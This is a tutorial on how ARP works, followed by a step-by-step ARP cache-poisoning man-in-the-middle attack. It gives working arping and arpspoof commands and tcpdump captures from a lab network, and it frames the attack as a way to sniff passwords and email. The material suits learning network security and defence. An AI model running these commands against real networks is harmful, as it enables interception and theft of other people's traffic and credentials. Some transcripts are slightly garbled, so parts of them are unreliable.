What is ARP

Address resolution protocol (ARP) is one the simplest network protocols. It simply maps IP to physical addresses. When used with Ethernet, IP are mapped to MAC addresses.

Though simple, it is very important for interconnection hosts in a network. As ARP does not provide methods for authenticating ARP replies, it is vulnerable to spoofing and thus leading to man in the middle attacks. Doing such an attack will enable the attacker to listen and modify all traffic going from/to the victim’s host. It can be used to sniff unencrypted passwords, email content, addresses, images and much more!

Understanding how ARP works

We will create a network of 3 hosts in the same broadcast domain to study ARP and execute ARP spoofing.

A broadcast domain defines the boundary for broadcast at the data link level. ARP spoofing can only be done within a broadcast domain.

Below the details about the hosts for this demonstration:

HostnameMAC addressIPv4 address
victim4a:f1:42:80:d1:b510.0.0.101
attacker5e:9f:31:a9:17:6410.0.0.102
webserver2e:7e:90:7a:9c:0a10.0.0.110

You can also use a similar setting using VMware or VirtualBox, or even use physical machines.

ARP basics

ARP entries are stored in the ARP table. You can view the ARP table by using the command arp -a

root@victim:/# arp -a
root@victim:/#

Here, you can see that the ARP table is empty as the host victim didn’t connect to any other host yet.

Let’s capture all packets using tcpdump on the broadcast domain. As all 3 hosts are on the same broadcast domain. The host attacker will be able to listen to all the traffic on the network.

root@attacker:/# tcpdump -ei eth0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

We are now ready to analyze the packets. Let’s launch a ping from victim to webserver while having attacker sniffing all the packets.

On victim:

root@victim:/# ping -c 1 10.0.0.110
PING 10.0.0.110 (10.0.0.110) 56(84) bytes of data.
64 bytes from 10.0.0.110: icmp_seq=1 ttl=64 time=0.095 ms
​
--- 10.0.0.110 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.095/0.095/0.095/0.000 ms
root@victim:/#

Our ARP table on victim now has one entry containing the IP and MAC of the webserver:

root@victim:/# arp -a
? (10.0.0.110) at 2e:7e:90:7a:9c:0a [ether] on eth0

Check the sniffed packet from attacker, we can see how the ARP protocol work:

1) Before doing the ping, host victim needs to know which host has the IP 10.0.110 and what is it MAC address. The host having the IP 10.0.0.110 will then reply with it’s MAC address.

20:41:18.683178 4a:f1:42:80:d1:b5 (oui Unknown) > Broadcast, ethertype ARP (0x0806), length 42: Request who-has 10.0.0.110 tell 10.0.0.101, length 28
20:41:18.683211 2e:7e:90:7a:9c:0a (oui Unknown) > 4a:f1:42:80:d1:b5 (oui Unknown), ethertype ARP (0x0806), length 42: Reply 10.0.0.110 is-at 2e:7e:90:7a:9c:0a (oui Unknown), length 28

2) Once the MAC is known, host victim can now initiate the ping.

20:41:18.683249 4a:f1:42:80:d1:b5 (oui Unknown) > 2e:7e:90:7a:9c:0a (oui Unknown), ethertype IPv4 (0x0800), length 98: 10.0.0.101 > 10.020:41:18.683249 4a:f1:42:80:d1:b5 (oui Unknown) > 2e:7e:90:7a:9c:0a (oui Unknown), ethertype IPv4 (0x0800), length 98: 10.0.0.101 > 10.0.0.110: ICMP echo request, id 57, seq 1, length 64
20:41:18.683256 2e:7e:90:7a:9c:0a (oui Unknown) > 4a:f1:42:80:d1:b5 (oui Unknown), ethertype IPv4 (0x0800), length 98: 10.0.0.110 > 10.0.0.101: ICMP echo reply, id 57, seq 1, length 64

The diagram below summarizes this process:

ARP broadcast

We now know the basics of ARP and we are ready to do the man in the middle attack which basically consists of poisoning the ARP cache stored in the ARP table.

ARP spoofing using arping

To be able to poison the ARP cache of host victim and webserver and intercept traffic, we need to be be able to forge ARP requests. arping is the tool we need for that.

All the commands must be launched from the host attacker:

1) Let’s first send a malicious ARP ping to victim making the host think that we are the host webserver:

root@attacker:/# arping -c 1 -U -S 10.0.0.110 10.0.0.101
ARPING 10.0.0.101
42 bytes from 4a:75:db:dc:b2:07 (10.0.0.101): index=0 time=14.231 msec
​
--- 10.0.0.101 statistics ---
1 packets transmitted, 1 packets received,   0% unanswered (0 extra)
rtt min/avg/max/std-dev = 14.231/14.231/14.231/0.000 ms

With the command arping -c 1 -U -S 10.0.0.110 10.0.0.101, we made the host victim think that we have the IP 10.0.0.110 which is the IP of the real host webserver. The switch -U is very important as it sends unsolicited ARP, commonly known as Gratuitous ARP.

Apart from been used in attacks, Gratuitous ARP is also a useful technique used by network administrators to update an ARP cache after a network equipment replacement.

Checking out the ARP table on the host victim will show the poisoned cache, IP 10.0.0.110 (webserver) mapping to 22:d0:7d:71:8a:12, which is MAC address of host attacker!

root@victim:/# arp -a
? (10.0.0.110) at 5e:9f:31:a9:17:64 [ether] on eth0

2) Now let’s poison webserver using the same attack:

root@attacker:/# arping -c 1 -U -S 10.0.0.101 10.0.0.110
ARPING 10.0.0.110
42 bytes from ca:17:8a:31:49:02 (10.0.0.110): index=0 time=9.313 msec
​
--- 10.0.0.110 statistics ---
1 packets transmitted, 1 packets received,   0% unanswered (0 extra)

This time, we used 10.0.0.101 (victim) as source IP while pinning 10.0.0.110 (webserver)

Checking the ARP cache on webserver will see if the poisoning has been successful:

root@webserver:/# arp -a
? (10.0.0.101) at 5e:9f:31:a9:17:64 [ether] on eth0

Both victim and webserver points to the attacker‘s MAC address !!

Here is a quick diagram to summarize:

To make it interesting, we need to be able to hack at the IP level. For that let’s configure the host attacker to bind non local addresses 10.0.0.101 and 10.0.0.110 to its system:

roroot@attacker:/# echo 1 > /proc/sys/net/ipv4/ip_nonlocal_bind

Let’s now launch a ping from victim to webserver :

root@victim:/# ping -c 1 10.0.0.110
PING 10.0.0.110 (10.0.0.110) 56(84) bytes of data.
64 bytes from 10.0.0.110: icmp_seq=1 ttl=63 time=0.163 ms
​
--- 10.0.0.110 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.163/0.163/0.163/0.000 ms

As we have poisoned the ARP cache, the ping will go to host attacker first as we can see in the packet sniffing below!

root@attacker:/# tcpdump -ei eth0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
20:45:34.830958 4a:f1:42:80:d1:b5 (oui Unknown) > 5e:9f:31:a9:17:64 (oui Unknown), ethertype IPv4 (0x0800), length 98: 10.0.0.101 > 10.0.0.110: ICMP echo request, id 62, seq 1, length 64
20:45:34.830991 5e:9f:31:a9:17:64 (oui Unknown) > 2e:7e:90:7a:9c:0a (oui Unknown), ethertype IPv4 (0x0800), length 98: 10.0.0.101 > 10.0.0.110: ICMP echo request, id 62, seq 1, length 64
20:45:34.831016 2e:7e:90:7a:9c:0a (oui Unknown) > 5e:9f:31:a9:17:64 (oui Unknown), ethertype IPv4 (0x0800), length 98: 10.0.0.110 > 10.0.0.101: ICMP echo reply, id 62, seq 1, length 64
20:45:34.831023 5e:9f:31:a9:17:64 (oui Unknown) > 2e:7e:90:7a:9c:0a (oui Unknown), ethertype IPv4 (0x0800), length 126: 10.0.0.102 > 10.0.0.110: ICMP redirect 10.0.0.101 to host 10.0.0.101, length 92
20:45:34.831026 5e:9f:31:a9:17:64 (oui Unknown) > 4a:f1:42:80:d1:b5 (oui Unknown), ethertype IPv4 (0x0800), length 98: 10.0.0.110 > 10.0.0.101: ICMP echo reply, id 62, seq 1, length 64

The host attacker replied to the ping but you can notice that the ping was also sent to the real webserver. The system also sends ICMP redirects as it detected that communication could be done directly from webserver to victim.

ARP caches are also refreshed due to the ICMP redirect:

20:45:39.844800 5e:9f:31:a9:17:64 (oui Unknown) > 4a:f1:42:80:d1:b5 (oui Unknown), ethertype ARP (0x0806), length 42: Request who-has 10.0.0.101 tell 10.0.0.102, length 28
20:45:39.844892 5e:9f:31:a9:17:64 (oui Unknown) > 2e:7e:90:7a:9c:0a (oui Unknown), ethertype ARP (0x0806), length 42: Request who-has 10.0.0.110 tell 10.0.0.102, length 28
20:45:39.844965 2e:7e:90:7a:9c:0a (oui Unknown) > 5e:9f:31:a9:17:64 (oui Unknown), ethertype ARP (0x0806), length 42: Request who-has 10.0.0.101 tell 10.0.0.110, length 28
20:45:39.844975 4a:f1:42:80:d1:b5 (oui Unknown) > 5e:9f:31:a9:17:64 (oui Unknown), ethertype ARP (0x0806), length 42: Request who-has 10.0.0.110 tell 10.0.0.101, length 28
20:45:39.844981 4a:f1:42:80:d1:b5 (oui Unknown) > 5e:9f:31:a9:17:64 (oui Unknown), ethertype ARP (0x0806), length 42: Reply 10.0.0.101 is-at 4a:f1:42:80:d1:b5 (oui Unknown), length 28
20:45:39.844985 2e:7e:90:7a:9c:0a (oui Unknown) > 5e:9f:31:a9:17:64 (oui Unknown), ethertype ARP (0x0806), length 42: Reply 10.0.0.110 is-at 2e:7e:90:7a:9c:0a (oui Unknown), length 28
20:45:40.884912 4a:f1:42:80:d1:b5 (oui Unknown) > 5e:9f:31:a9:17:64 (oui Unknown), ethertype ARP (0x0806), length 42: Request who-has 10.0.0.110 tell 10.0.0.101, length 28
20:45:40.885066 2e:7e:90:7a:9c:0a (oui Unknown) > 5e:9f:31:a9:17:64 (oui Unknown), ethertype ARP (0x0806), length 42: Request who-has 10.0.0.101 tell 10.0.0.110, length 28
20:45:41.924856 2e:7e:90:7a:9c:0a (oui Unknown) > 5e:9f:31:a9:17:64 (oui Unknown), ethertype ARP (0x0806), length 42: Request who-has 10.0.0.101 tell 10.0.0.110, length 28
20:45:41.924921 4a:f1:42:80:d1:b5 (oui Unknown) > 5e:9f:31:a9:17:64 (oui Unknown), ethertype ARP (0x0806), length 42: Request who-has 10.0.0.110 tell 10.0.0.101, length 28

ARP Spoofing using arpspoof

Another popular ARP spoofing tool is arpspoof, the following is how to use this command to perform ARP spoofing:

$ arpspoof -i <Network Interface Name> -t <Target IP> <Victim IP>

If you’re on a Linux machine that arpspoof isn’t installed, you can easily install it using the following command:

$ apt-get install dsniff

As an example, if you want to ARP spoof the victim (has the IP of 192.168.1.2) saying that you’re the router, and say the router has the IP address 192.168.1.1, the following command handles this:

root@attacker:~# arpspoof -i wlan0 -t 192.168.1.2 192.168.1.1
54:76:22:79:4f:5a b8:22:5e:da:55:14 0806 42: arp reply 192.168.1.1 is-at 54:76:22:79:4f:5a
54:76:22:79:4f:5a b8:22:5e:da:55:14 0806 42: arp reply 192.168.1.1 is-at 54:76:22:79:4f:5a

And then you spoof the router saying that you’re the victim:

root@attacker:~# arpspoof -i wlan0 -t 192.168.1.1 192.168.1.2
54:76:22:79:4f:5a 6e:fa:7c:b1:13:bf 0806 42: arp reply 192.168.1.106 is-at 54:76:22:79:4f:5a
54:76:22:79:4f:5a 6e:fa:7c:b1:13:bf 0806 42: arp reply 192.168.1.106 is-at 54:76:22:79:4f:5a

After you keep these commands running in the attacker machine, any traffic goes from the victim to the router, will first pass to the attacker machine.

Therefore, you will be able to capture any packet in between, you can check whether the attack was successful by using the arp command as shown previously.

Be aware though, when you run these commands and IP forwarding is disabled, then the victim will loose connection. As a result, you need to enable IP forwarding, check this tutorial for more information on how to do that.

Conclusion

Throughout this tutorial, we have learned ARP, how to poison ARP cache and get started with man in the middle attacks.

Keep in mind that unsolicited ARP requests might trigger your network monitoring systems and get your host banned if your are in a corporate firewalled network. While the above method provide a simple way to do ARP spoofing, it will need other tools such as Ettercap to do ARP spoofing leading to sophisticated man in the middle attacks.

Note that after you become a man in the middle, you can do a lot of useful stuff, such as DNS spoofing, sniffing HTTP packets, and a lot more.

Learn also: Enabling/Disabling IP Forwarding in Linux

Have fun hacking the ARP protocol!